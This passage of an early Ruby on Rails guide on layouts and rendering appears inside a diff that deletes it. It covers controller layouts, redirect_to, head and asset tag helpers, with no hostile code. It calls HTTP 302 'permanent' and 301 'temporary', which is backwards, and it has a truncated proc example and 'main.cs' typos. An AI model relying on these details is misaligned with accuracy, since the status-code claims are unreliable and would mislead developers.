-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ApplicationController
-  layout <span style="color: #FF0000">"inventory"</span>
-  <span style="font-style: italic"><span style="color: #9A1900">#...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>With this declaration, all methods within <tt>ProductsController</tt> will use <tt>app/views/layouts/inventory.html.erb</tt> for their layout.</p></div>
-<div class="para"><p>To assign a specific layout for the entire application, use a declaration in your <tt>ApplicationController</tt> class:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-  layout <span style="color: #FF0000">"main"</span>
-  <span style="font-style: italic"><span style="color: #9A1900">#...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>With this declaration, all views in the entire application will use <tt>app/views/layouts/main.html.erb</tt> for their layout.</p></div>
-<h5 id="_choosing_layouts_at_runtime">Choosing Layouts at Runtime</h5>
-<div class="para"><p>You can use a symbol to defer the choice of layout until a request is processed:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ApplicationController
-  layout <span style="color: #990000">:</span>products_layout
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
-    <span style="color: #009900">@product</span> <span style="color: #990000">=</span> Product<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  private
-    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> products_layout
-      <span style="color: #009900">@current_user</span><span style="color: #990000">.</span>special? <span style="color: #990000">?</span> <span style="color: #FF0000">"special"</span> <span style="color: #990000">:</span> <span style="color: #FF0000">"products"</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ApplicationController
-  layout proc<span style="color: #FF0000">{</span> <span style="color: #990000">|</span>controller<span style="color: #990000">|</span> controller<span style="color: #990000">.</span>
-  <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h5 id="_conditional_layouts">Conditional Layouts</h5>
-<div class="para"><p>Layouts specified at the controller level support <tt>:only</tt> and <tt>:except</tt> options that take either a method name or an array of method names:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>class ProductsController &lt; ApplicationController
-  layout "inventory", :only =&gt; :index
-  layout "product", :except =&gt; [:index, :rss]
-  #...
-end</tt></pre>
-</div></div>
-<div class="para"><p>With those declarations, the <tt>inventory</tt> layout would be used only for the <tt>index</tt> method, the <tt>product</tt> layout would be used for everything else except the <tt>rss</tt> method, and the <tt>rss</tt> method will have its layout determined by the automatic layout rules.</p></div>
-<h5 id="_layout_inheritance">Layout Inheritance</h5>
-<div class="para"><p>Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example:</p></div>
-<div class="para"><p><tt>application.rb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-  layout <span style="color: #FF0000">"main"</span>
-  <span style="font-style: italic"><span style="color: #9A1900">#...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><tt>posts_controller.rb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsController <span style="color: #990000">&lt;</span> ApplicationController
-  <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><tt>special_posts_controller.rb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> SpecialPostsController <span style="color: #990000">&lt;</span> PostsController
-  layout <span style="color: #FF0000">"special"</span>
-  <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><tt>old_posts_controller.rb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> OldPostsController <span style="color: #990000">&lt;</span> SpecialPostsController
-  layout <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
-    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
-    <span style="color: #009900">@old_posts</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>older
-    render <span style="color: #990000">:</span>layout <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"old"</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In this application:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-In general, views will be rendered in the <tt>main</tt> layout
-</p>
-</li>
-<li>
-<p>
-<tt>PostsController#index</tt> will use the <tt>main</tt> layout
-</p>
-</li>
-<li>
-<p>
-<tt>SpecialPostsController#index</tt> will use the <tt>special</tt> layout
-</p>
-</li>
-<li>
-<p>
-<tt>OldPostsController#show</tt> will use no layout at all
-</p>
-</li>
-<li>
-<p>
-<tt>OldPostsController#index</tt> will use the <tt>old</tt> layout
-</p>
-</li>
-</ul></div>
-<h4 id="_avoiding_double_render_errors">2.2.13. Avoiding Double Render Errors</h4>
-<div class="para"><p>Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that <tt>render</tt> works.</p></div>
-<div class="para"><p>For example, here's some code that will trigger this error:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
-  <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span>special?
-    render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"special_show"</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If <tt>@book.special?</tt> evaluates to <tt>true</tt>, Rails will start the rendering process to dump the <tt>@book</tt> variable into the <tt>special_show</tt> view. But this will <em>not</em> stop the rest of the code in the <tt>show</tt> action from running, and when Rails hits the end of the action, it will start to render the <tt>show</tt> view - and throw an error. The solution is simple: make sure that you only have one call to <tt>render</tt> or <tt>redirect</tt> in a single code path. One thing that can help is <tt>and return</tt>. Here's a patched version of the method:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
-  <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span>special?
-    render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"special_show"</span> <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> <span style="font-weight: bold"><span style="color: #0000FF">return</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_using_tt_redirect_to_tt">2.3. Using <tt>redirect_to</tt></h3>
-<div class="para"><p>Another way to handle returning responses to a HTTP request is with <tt>redirect_to</tt>. As you've seen, <tt>render</tt> tells Rails which view (or other asset) to use in constructing a response. The <tt>redirect_to</tt> method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>redirect_to photos_path
-</tt></pre></div></div>
-<div class="para"><p>You can use <tt>redirect_to</tt> with any arguments that you could use with <tt>link_to</tt> or <tt>url_for</tt>. In addition, there's a special redirect that sends the user back to the page they just came from:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>redirect_to :back</tt></pre>
-</div></div>
-<h4 id="_getting_a_different_redirect_status_code">2.3.1. Getting a Different Redirect Status Code</h4>
-<div class="para"><p>Rails uses HTTP status code 302 (permanent redirect) when you call <tt>redirect_to</tt>. If you'd like to use a different status code (perhaps 301, temporary redirect), you can do so by using the <tt>:status</tt> option:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>redirect_to photos_path, :status =&gt; 301</tt></pre>
-</div></div>
-<div class="para"><p>Just like the <tt>:status</tt> option for <tt>render</tt>, <tt>:status</tt> for <tt>redirect_to</tt> accepts both numeric and symbolic header designations.</p></div>
-<h4 id="_the_difference_between_tt_render_tt_and_tt_redirect_tt">2.3.2. The Difference Between <tt>render</tt> and <tt>redirect</tt></h4>
-<div class="para"><p>Sometimes inexperienced developers conceive of <tt>redirect_to</tt> as a sort of <tt>goto</tt> command, moving execution from one place to another in your Rails code. This is <em>not</em> correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back a HTTP 302 status code.</p></div>
-<div class="para"><p>Consider these actions to see the difference:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
-  <span style="color: #009900">@books</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
-  <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
-    render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"index"</span> <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> <span style="font-weight: bold"><span style="color: #0000FF">return</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>With the code in this form, there will be likely be a problem if the <tt>@book</tt> variable is <tt>nil</tt>. Remember, a <tt>render :action</tt> doesn't run any code in the target action, so nothing will set up the <tt>@books</tt> variable that the <tt>index</tt> view is presumably depending on. One way to fix this is to redirect instead of rendering:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
-  <span style="color: #009900">@books</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
-  <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
-    redirect_to <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"index"</span> <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> <span style="font-weight: bold"><span style="color: #0000FF">return</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>With this code, the browser will make a fresh request for the index page, the code in the <tt>index</tt> method will run, and all will be well.</p></div>
-<h3 id="_using_tt_head_tt_to_build_header_only_responses">2.4. Using <tt>head</tt> To Build Header-Only Responses</h3>
-<div class="para"><p>The <tt>head</tt> method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling <tt>render :nothing</tt>. The <tt>head</tt> method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>head <span style="color: #990000">:</span>bad_request
-</tt></pre></div></div>
-<div class="para"><p>Or you can use other HTTP headers to convey additional information:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>head <span style="color: #990000">:</span>created<span style="color: #990000">,</span> <span style="color: #990000">:</span>location <span style="color: #990000">=&gt;</span> photo_path<span style="color: #990000">(</span><span style="color: #009900">@photo</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-</div>
-<h2 id="_structuring_layouts">3. Structuring Layouts</h2>
-<div class="sectionbody">
-<div class="para"><p>When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Asset tags
-</p>
-</li>
-<li>
-<p>
-<tt>yield</tt> and <tt>content_for</tt>
-</p>
-</li>
-<li>
-<p>
-Partials
-</p>
-</li>
-</ul></div>
-<div class="para"><p>I'll discuss each of these in turn.</p></div>
-<h3 id="_asset_tags">3.1. Asset Tags</h3>
-<div class="para"><p>Asset tags provide methods for generating HTML that links views to assets like images, javascript, stylesheets, and feeds. There are four types of include tag:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-auto_discovery_link_tag
-</p>
-</li>
-<li>
-<p>
-javascript_include_tag
-</p>
-</li>
-<li>
-<p>
-stylesheet_link_tag
-</p>
-</li>
-<li>
-<p>
-image_tag
-</p>
-</li>
-</ul></div>
-<div class="para"><p>You can use these tags in layouts or other views, although the tags other than <tt>image_tag</tt> are most commonly used in the <tt>&lt;head&gt;</tt> section of a layout.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">The asset tags do <em>not</em> verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.</td>
-</tr></table>
-</div>
-<h4 id="_linking_to_feeds_with_tt_auto_discovery_link_tag_tt">3.1.1. Linking to Feeds with <tt>auto_discovery_link_tag</tt></h4>
-<div class="para"><p>The <tt>auto_discovery_link_tag helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (</tt>:rss+ or <tt>:atom</tt>), a hash of options that are passed through to url_for, and a hash of options for the tag:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= auto_discovery_link_tag(:rss, {:action =&gt;</span> <span style="color: #FF0000">"feed"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>title <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"RSS Feed"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>There are three tag options available for <tt>auto_discovery_link_tag</tt>:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>:rel</tt> specifies the <tt>rel</tt> value in the link (defaults to "alternate")
-</p>
-</li>
-<li>
-<p>
-<tt>:type</tt> specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically
-</p>
-</li>
-<li>
-<p>
-<tt>:title</tt> specifies the title of the link
-</p>
-</li>
-</ul></div>
-<h4 id="_linking_to_javascript_files_with_tt_javascript_include_tag_tt">3.1.2. Linking to Javascript Files with <tt>javascript_include_tag</tt></h4>
-<div class="para"><p>The <tt>javascript_include_tag</tt> helper returns an HTML <tt>&lt;script&gt;</tt> tag for each source provided. Rails looks in <tt>public/javascripts</tt> for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include <tt>public/javascripts/main.js</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main" %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>To include <tt>public/javascripts/main.js</tt> and <tt>public/javascripts/columns.js</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main", "columns" %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>To include <tt>public/javascripts/main.js</tt> and <tt>public/photos/columns.js</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main", "/photos/columns" %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>To include <tt>http://example.com/main.js</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "http://example.com/main.js" %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>defaults</tt> option loads the Prototype and Scriptaculous libraries:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag :defaults %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>all</tt> option loads every javascript file in <tt>public/javascripts</tt>, starting with the Prototype and Scriptaculous libraries:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag :all %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>You can supply the <tt>:recursive</tt> option to load files in subfolders of <tt>public/javascripts</tt> as well:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag :all, :recursive =&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>If you're loading multiple javascript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify <tt>:cache &#8658; true</tt> in your <tt>javascript_include_tag</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main", "columns", :cache =&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>By default, the combined file will be delivered as <tt>javascripts/all.js</tt>. You can specify a location for the cached asset file instead:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main", "columns", :cache =&gt;</span> <span style="color: #FF0000">'cache/main/display'</span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p></p></div>
-<h4 id="_linking_to_css_files_with_tt_stylesheet_link_tag_tt">3.1.3. Linking to CSS Files with <tt>stylesheet_link_tag</tt></h4>
-<div class="para"><p>The <tt>stylesheet_link_tag</tt> helper returns an HTML <tt>&lt;link&gt;</tt> tag for each source provided. Rails looks in <tt>public/stylesheets</tt> for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include <tt>public/stylesheets/main.cs</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main" %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>To include <tt>public/stylesheets/main.css</tt> and <tt>public/stylesheets/columns.css</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main", "columns" %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>To include <tt>public/stylesheets/main.css</tt> and <tt>public/photos/columns.css</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main", "/photos/columns" %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>To include <tt>http://example.com/main.cs</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "http://example.com/main.cs" %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>By default, <tt>stylesheet_link_tag</tt> creates links with <tt>media="screen" rel="stylesheet" type="text/css"</tt>. You can override any of these defaults by specifying an appropriate option (:media, :rel, or :type):</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main_print", media =&gt;</span> <span style="color: #FF0000">"print"</span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>all</tt> option links every CSS file in <tt>public/stylesheets</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag :all %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>You can supply the <tt>:recursive</tt> option to link files in subfolders of <tt>public/stylesheets</tt> as well:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag :all, :recursive =&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify <tt>:cache &#8658; true</tt> in your <tt>stylesheet_link_tag</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main", "columns", :cache =&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>By default, the combined file will be delivered as <tt>stylesheets/all.css</tt>. You can specify a location for the cached asset file instead:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main", "columns", :cache =&gt;</span> <span style="color: #FF0000">'cache/main/display'</span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p></p></div>
-<h4 id="_linking_to_images_with_tt_image_tag_tt">3.1.4. Linking to Images with <tt>image_tag</tt></h4>
-<div class="para"><p>The <tt>image_tag</tt> helper builds an HTML <tt>&lt;image&gt;</tt> tag to the specified file. By default, files are loaded from <tt>public/images</tt>. If you don't specify an extension, .png is assumed by default:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= image_tag "header" %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>You can supply a path to the image if you like:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= image_tag "icons/delete.gif" %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>You can supply a hash of additional HTML options:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= image_tag "icons/delete.gif", :height =&gt;</span> <span style="color: #993399">45</span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>There are also three special options you can use with <tt>image_tag</tt>:</p></div>
